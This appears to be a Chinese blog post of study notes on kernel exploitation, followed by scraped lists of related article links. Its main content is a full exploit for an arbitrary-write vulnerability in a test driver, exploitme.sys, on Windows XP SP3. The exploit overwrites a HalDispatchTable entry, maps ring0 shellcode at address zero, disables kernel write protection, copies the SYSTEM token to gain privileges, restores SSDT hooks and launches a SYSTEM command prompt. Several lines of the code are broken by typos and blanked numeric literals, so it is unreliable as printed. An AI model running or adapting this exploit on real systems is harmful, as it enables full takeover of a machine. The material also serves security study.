OD: Kernel Exploit - 2 Programming
本节接前方,对 exploitme.sys 进行利用。
exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用。
获取 HalDispatchTable 表地址 x
HalDispatchTable 是由内核模块导出的,要得到 HalDispatchTable 在内核中的准确地址,先要得到内核模块的基址,再加上 HalDispatchTable 与内核模块的偏移:
NTSATUS NtSataus = STATUS_UNSUCCESSFUL;
ULONG ReturnLength = ;
ULONG ImageBase = ;
PVOID MAppedBase = NULL;
UCHAR ImageName[KERNEL_NAME_LENGTH] = {};
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable = NULL;
PVOID xHalQuerySystemInformation = NULL;
ULONG ShellCodeSize = (ULONG)EndofMyShellCode - (ULONG)MyShellCode;
PVOID ShellCodeAddress = NULL;
UNICODE_STRING DllName = {};
SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
int RetryTimes = ; //////////////////////////////////////////////////
// 获取内核模块基址和内核模块名称
//////////////////////////////////////////////////
// 获取内核模块列表数据大小到 ReturnLength
//////////////////////////////////////////////////
NtStatus = ZwQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);
if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
return; // 申请内存 存放内核模块列表数据
ModuleInformation = (SYSTEM_MODULE_INFORMATION_EX *)malloc(ReturnLength);
if(!ModuleInformaiton)
return;
// 获取内核模块列表数据到 ModuleInformation
NtStatus = ZwQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);
if(NtStatus != STATUS_SUCCESS)
{
free(ModuleInformation);
return;
} // 从内核模块列表获取内核第一个模块的基址和名称
ImageBase = (ULONG)(ModuleInformation->Modules[].Base);
RtlMoveMemory(ImageName,
(PVOID)(ModuleInformation->Modules[].ImageName +
ModuleInformation->Modules[].ModuleNameOffset),
KERNEL_NAME_LENGTH); // 释放存放内核模块列表的内存
free(ModuleInformation); // 获取内核模块的 UnicodeString
RtlCreateUnicodeStringFromeAsciiz(&DllName, (PUCHAR)ImageName); //////////////////////////////////////////////////
// 加载内核模块到本地进程
//////////////////////////////////////////////////
NtStatus = (NTSTATUS)LdrLoadDll(
NULL, // DllPath
&DllCHaracteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
if(NtStatus)
return; //////////////////////////////////////////////////
// 获取内核 HalDispatchTable 函数表地址
//////////////////////////////////////////////////
HalDispatchTable = GetProcAddress((HMODULE)MappedBase, "HalDispatchTable");
if(HalDispatchTable == NULL)
return;
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase + ImageBase);
xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG)); //////////////////////////////////////////////////
// 卸载本地进程中的内核模块
//////////////////////////////////////////////////
LdrUnloadDll((PVOID)MappedBase);
在 0x0 处申请一段内存,并写入 Ring0 Shellcode
在指定地址申请内存推荐使用 ZwAllocateVirtualMemory(),其第二个参数 BaseAddress 指向指定的要申请的内存地址。系统会从指定的地址开始向下搜寻,找到一段需要大小的内存。
//////////////////////////////////////////////////
// 在 0x0 处申请本地进程内存 存放 Ring0 Shellcode
//////////////////////////////////////////////////
ShellCodeAddress = (PVOID)sizeof(ULONG);
NtStatus = ZwAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
if(NtStatus)
return;
// 存放 ShellCode
RtlMoveMemory(ShellCodeAddress, (PVOID)MyShellCode, ShellCodeSize);
利用漏洞向 xHalQuerySystemInformation 写入 0x0
//////////////////////////////////////////////////
// 触发漏洞并利用
//////////////////////////////////////////////////
RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
// 打开 ExploitMe 设备
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = ;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READE_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
, // CreateOptions
NULL, // EaBuffer OPTIONAL
); // EaLength
if(NtStatus)
{
printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
// 利用漏洞将 HalQuerySystemInformation() 地址改为 0x0
InputData = ;
NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_METHOD_NEITHER, // IoControlCode
&InputData, // InputBuffer
BUFFER_LENGTH, // InputBufferLength
xHalQuerySystemInformation, // OutputBuffer
BUFFER_LENGTH); // OutBufferLength
if(NtStatus)
{
printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
调用 NtQueryIntervalProfile()
为检验 Ring0 Shellcode 被成功调用,在 Ring0 Shellcode 中将全局变量 g_isRing0ShellcodeCalled 赋为 1,调用完 NtQueryIntervalProfile() 后可检测。
// 漏洞利用
while(RetryTimes > )
{
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
if(NtStatus == )
{
printf("NtQueryIntervalProfile() ok!\n");
}
Sleep();
if(g_isRing0ShellcodeCalled == )
break;
RetryTimes--;
}
if(RetryTimes == && g_isRing0ShellcodeCalled==)
printf("exploit failed!\n");
else
printf("exploit success!\n");
将 Ring0 Shellcode 写成假冒的 HalQuerySystemInformation()
NTSTATUS MyShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
// 关闭内核写保护
__asm
{
cli
mov eax, cr0
mov g_uCr0, eax
and eax, 0xFFFEFFFF
mov cr0, eax
}
// do something in ring0
// TODO // 恢复内核写保护
__asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
// 将全局变量置 1
g_isRing0ShellcodeCalled = ;
reutrn ;
}
void EndofMyShellcode()
{
}
Ring0 Shellcode 的编写
提权到 SYSTEM
修改当前进程的 token 为 SYSTEM 进程的 token,这样当前进程就可以控制整个系统:
NTSTATUS MyShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
// 关闭内核写保护
__asm
{
cli
mov eax, cr0
mov g_uCr0, eax
and eax, 0xFFFEFFFF
mov cr0, eax
}
// do something in ring0 // 提权到 SYSTEM
__asm
{
mov eax, 0xFFDFF124 // eax = KPCR (not 3G mode)
mov eax, [eax] // eax = PETHREAD of current thread
mov esi, [eax+0x220] // esi = PEPROCESS of current process
mov eax, esi
searchXp:
mov eax, [eax+0x88]
sub eax, 0x88 // eax = next PEPROCESS in process chain
mov edx, [eax+0x84] // edx = PID of the process
cmp edx, 0x4 // search SYSTEM process by PID
jne searchXp
mov eax, [eax+0xC8] // eax = SYSTEM process token
mov [esi+0xC8], eax // change the token of current process
}
// 恢复内核写保护
__asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
g_isRing0ShellcodeCalled = ;
reuturn ;
}
恢复内核 Hook/Inline Hook
以 SSDT Hook 为例介绍代码的编写。恢复代码可以放在 Ring0 Shellcode 中,但在恢复之前先要得到 SSDT 中原始的函数地址。获取原始地址可以在 Ring3 实现。
在 Ring3 中获取原始 SSDT 函数地址和内核中 SSDT 表的地址:
// 全局变量 内核中 SSDT 表的地址
ULONG g_RealSSDT = ;
// 全局变量 SSDT 函数个数
ULONG g_ServiceNum = 0x11C;
// 全局变量 SSDT 函数原始地址数组
ULONG g_OrgService[0x11C];
//////////////////////////////////////////////
// 获取 SSDT 中函数的原始地址和 SSDT 表地址
//////////////////////////////////////////////
// 获取本地进程中加载的内核模块中的 KeServiceDescriptorTable 地址
ULONG KeSSDT = (ULONG)GetProcAddress((HMODULE)MappedBase,"KeServiceDescriptorTable");
if (KeSSDT == )
return;
// 获取本地进程中加载的内核模块中的 KiServiceTable 与 poh_ImageBase 的偏移
ULONG poh_ImageBase = ;
ULONG KiSSDT = FindKiServiceTable((HMODULE)MappedBase,KeSSDT-(ULONG)MappedBase,&poh_ImageBase);
if (KiSSDT == )
return;
// 获取本地进程中加载的内核模块中的 KiServiceTable 地址
KiSSDT += (ULONG)MappedBase;
// 遍历本地进程中加载的内核模块中的 KiServiceTable 指向的列表,并换算内核中原始 SSDT 函数地址
for (ULONG i = ; i < ServiceNum; i++)
{
g_OrgService[i] = *(ULONG*)(KiSSDT+i*sizeof(ULONG))+(ULONG)ImageBase-poh_ImageBase;
}
// 换算内核中 SSDT 表的地址
g_RealSSDT = KeSSDT - (ULONG)MappedBase + (ULONG)ImageBase;
得到原始 SSDT 函数地址和内核中 SSDT 表的地址后,Ring0 Shellcode 的任务就是恢复所有 Hook:
// 恢复所有的 SSDT Hook
ULONG i;
for (i=; i<g_ServiceNum; i++)
{
*(ULONG*)(*(ULONG*)g_RealSSDT+i*sizeof(ULONG)) = g_OrgService[i];
}
添加调用门/中断门/任务门/陷阱门
详细知识参见看雪学院《rootkit ring3 进 ring0 之门系列》共四篇。
最后修改了随书光盘中测试 ExploitMe.sys 的 Ring3 测试代码,在 XP sp3 下测试能得到 SYSTEM 权限的 cmd.exe。但溢出之后会蓝屏,估计是其它代码调用了被修改过的 HalQuerySystemInformation(),代码如下:
// exploit.cpp : Defines the entry point for the console application.
//
// env:
// os: windows xp sp3
// ide: vs 2008 #include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#include "ntapi.h"
#pragma comment(linker,"/defaultlib:ntdll.lib") #define PAGE_SIZE 0x1000
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003
#define KERNEL_NAME_LENGTH 0x0D
#define BUFFER_LENGTH 0x04 //触发漏洞使用的IoControlCode
#define IOCTL_METHOD_NEITHER 0x8888A003 //Ring0中执行的Shellcode
NTSTATUS Ring0ShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
int g_uCr0;
__asm
{
cli;
mov eax, cr0;
mov g_uCr0,eax;
and eax,0xFFFEFFFF;
mov cr0, eax;
}
// 提权到 SYSTEM
__asm
{
mov eax, 0xFFDFF124 // eax = KPCR (not 3G mode)
mov eax, [eax] // eax = PETHREAD of current thread
mov esi, [eax+0x220] // esi = PEPROCESS of current process
mov eax, esi
searchXp:
mov eax, [eax+0x88]
sub eax, 0x88 // eax = next PEPROCESS in process chain
mov edx, [eax+0x84] // edx = PID of the process
cmp edx, 0x4 // search SYSTEM process by PID
jne searchXp
mov eax, [eax+0xC8] // eax = SYSTEM process token
mov [esi+0xC8], eax // change the token of current process
}
// 恢复内核写保护
__asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
//g_isRing0ShellcodeCalled = 1;
return ;
} //申请内存的函数
PVOID MyAllocateMemory(IN ULONG Length)
{
NTSTATUS NtStatus;
PVOID BaseAddress = NULL;
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
,
&Length,
MEM_RESERVE |
MEM_COMMIT,
PAGE_READWRITE);
if(NtStatus == STATUS_SUCCESS)
{
RtlZeroMemory(BaseAddress, Length);
return BaseAddress;
}
return NULL;
} //释放内存的函数
VOID MyFreeMemory(IN PVOID BaseAddress)
{
NTSTATUS NtStatus;
ULONG FreeSize = ;
NtStatus = NtFreeVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
&FreeSize,
MEM_RELEASE);
} //main函数
int _tmain(int argc, _TCHAR* argv[])
{
NTSTATUS NtStatus;
HANDLE DeviceHandle=NULL;
ULONG ReturnLength = ;
ULONG ImageBase;
PVOID MappedBase=NULL;
UCHAR ImageName[KERNEL_NAME_LENGTH];
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable;
PVOID xHalQuerySystemInformation;
ULONG ShellCodeSize = PAGE_SIZE;
PVOID ShellCodeAddress;
PVOID BaseAddress = NULL;
UNICODE_STRING DeviceName;
UNICODE_STRING DllName;
ANSI_STRING ProcedureName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
LARGE_INTEGER Interval;
ULONG InputData=; //清空控制台屏幕
system("cls"); //获取内核模块列表数据长度到ReturnLength
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);
if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
{
printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus);
goto ret;
} //申请内存
ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
if(ModuleInformation==NULL)
{
printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength);
goto ret;
} //获取内核模块列表数据
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);
if(NtStatus != STATUS_SUCCESS)
{
printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus);
goto ret;
} //保存内核第一个模块(即nt模块)基址和名称,并打印
ImageBase = (ULONG)(ModuleInformation->Module[].Base);
RtlMoveMemory(
ImageName,
(PVOID)(ModuleInformation->Module[].ImageName +
ModuleInformation->Module[].PathLength),
KERNEL_NAME_LENGTH);
printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase, ImageName); //获取内核模块名称字符串的Unicode字符串
RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName); //加载内核模块到本进程空间
NtStatus = LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
if(NtStatus)
{
printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus);
goto ret;
} //获取内核模块在本进程空间中导出名称HalDispatchTable的地址
RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
NtStatus = LdrGetProcedureAddress(
(PVOID)MappedBase, // DllHandle
&ProcedureName, // ProcedureName
, // ProcedureNumber OPTIONAL
(PVOID*)&HalDispatchTable); // ProcedureAddress
if(NtStatus)
{
printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus);
goto ret;
} //计算实际的HalDispatchTable内核地址
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase); //HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG)); //打印HalDispatchTable内核地址和xHalQuerySystemInformation值
printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n",
HalDispatchTable,
xHalQuerySystemInformation); //设备名称的Unicode字符串
RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe"); //打开ExploitMe设备
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = ;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
, // CreateOptions
NULL, // EaBuffer OPTIONAL
); // EaLength
if(NtStatus)
{
printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
//利用漏洞将HalQuerySystemInformation函数地址改为0
InputData = ;
NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_METHOD_NEITHER, // IoControlCode
&InputData, // InputBuffer
BUFFER_LENGTH, // InputBufferLength
xHalQuerySystemInformation, // OutputBuffer
BUFFER_LENGTH); // OutBufferLength
if(NtStatus)
{
printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
} //在本进程空间申请0地址内存
ShellCodeAddress = (PVOID)sizeof(ULONG);
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
if(NtStatus)
{
printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress); //复制Ring0ShellCode到0地址内存中
RtlMoveMemory(
ShellCodeAddress,
(PVOID)Ring0ShellCode,
ShellCodeSize); //触发漏洞
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
if(NtStatus)
{
printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
printf("NtQueryIntervalProfile succeed!\n");
system("start cmd.exe"); ret:
//释放申请的内存
if (ModuleInformation)
{
MyFreeMemory(ModuleInformation);
}
//卸载本进程中的内核模块
if (MappedBase)
{
LdrUnloadDll((PVOID)MappedBase);
}
//关闭句柄
if(DeviceHandle)
{
NtStatus = NtClose(DeviceHandle);
if(NtStatus)
{
printf("NtClose failed! NtStatus=%.8X\n", NtStatus);
}
}
return ;
}
OD: Kernel Exploit - 2 Programming的更多相关文章
- OD: Kernel Exploit - 1
第 22 章,内核漏洞利用技术 首先编写具有漏洞的驱动 exploitme.sys,再展开内核漏洞利用思路和方法: /***************************************** ...
- OD: Heap Exploit : DWORD Shooting & Opcode Injecting
堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是 ...
- OD: Shellcode / Exploit & DLL Trampolining
看到第五章了. 标题中 Dll Tramplining(跳板)名字是从如下地址找到的,写的很好: http://en.wikipedia.org/wiki/Buffer_overflow#The_ju ...
- OD: Kernel Vulnerabilities Analyze
内核漏洞大多出没于 ring3 到 ring0 的交互中.从 ring3 进入 ring0 的通道,以及操作系统提供的 API 都有可能存在漏洞.例如:驱动程序中 IoControl 的处理函数,SS ...
- OD: Kernel Vulnerabilities
内核漏洞概述 内核漏洞的分类 运行在 Ring0 上的操作系统内核.设备驱动.第三方驱动能共享同一个虚拟地址空间,可以完全访问系统空间的所有内存,而不像用户态进程那样拥有独立私有的内存空间.由于内核程 ...
- How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038
http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html ...
- [轉]Exploit Linux Kernel Slub Overflow
Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...
- An iOS zero-click radio proximity exploit odyssey
NOTE: This specific issue was fixed before the launch of Privacy-Preserving Contact Tracing in iOS 1 ...
- Understanding a Kernel Oops!
Understanding a kernel panic and doing the forensics to trace the bug is considered a hacker's job. ...
随机推荐
- windows2008 R2 安装wampserver
1. 在官网http://www.wampserver.com/下载,wampserver2.5; 2. 安装时候会缺少msvcr110.dll文件,所以先要安装这个文件: 3. 先从微软下载Visu ...
- 把centos 网卡接口eth2改成eth0
kvm 虚拟机 复制之后 默认网卡是 eth2了 用 ifconfig -a 命令查看所有的网络设置,果然没有eth0的相关设置,多出来一个eth2.显示如下:[root@neal ~]# ifcon ...
- 使用 HT 单片机芯片做触摸按键的试验:触摸按键实践一
使用 HT 芯片做触摸按键,可供使用的专门用途芯片主要有:HT45R35,HT45R36,HT45R38,原来还有一个 45R34 ,不知道为何停止生产了.如果仅仅是为了按键功能,选择 45R35 觉 ...
- Yii widget使用
关于widgets,他们在yii中的关系如下 system.web.widgets 系统自带最基本的widget zii.widgets 是基本扩展 zii.widgets.grid 是基本扩展的重要 ...
- 用c写99乘法表
int main(int argc,char **argv){ int a; for(a=1;a<=9;a++){ int b; for(b=1;b<=a;b++){ printf(&qu ...
- COJ 2106 road
road 难度级别: A: 编程语言:不限:运行时间限制:1000ms: 运行空间限制:131072KB: 代码长度限制:102400B 试题描述 某国有N个城市,这N个城市由M条双向道路连接.现 ...
- HDU 5478 Can you find it(数学问题)
题目大意: 给你 ak1⋅n+b1+ bk2⋅n−k2+1 = 0 (mod C)(n = 1, 2, 3, ...). 要求所有的n都满足上述的式子. 问这样的a,b 有多少对? 分析这个问题 ...
- Android实现OCR扫描识别数字图片之图片扫描识别
[Android实例] Android实现OCR扫描识别数字图片之图片扫描识别 Android可以识别和扫描二维码,但是识别字符串呢? google提供了以下解决方案用的是原来HP的相关资料. 可以吧 ...
- [Locked] Palindrome Permutation I & II
Palindrome Permutation I Given a string, determine if a permutation of the string could form a palin ...
- SRM 407(1-250pt, 1-500pt)
DIV1 250pt 题意:每个员工可以有几个直系上司,也可以有几个直系下属.没有直系下属的人工资为1,有直系下属的人工资为所有直系下属工资之和.求所有人工资之和.人数 <= 50. 解法:直接 ...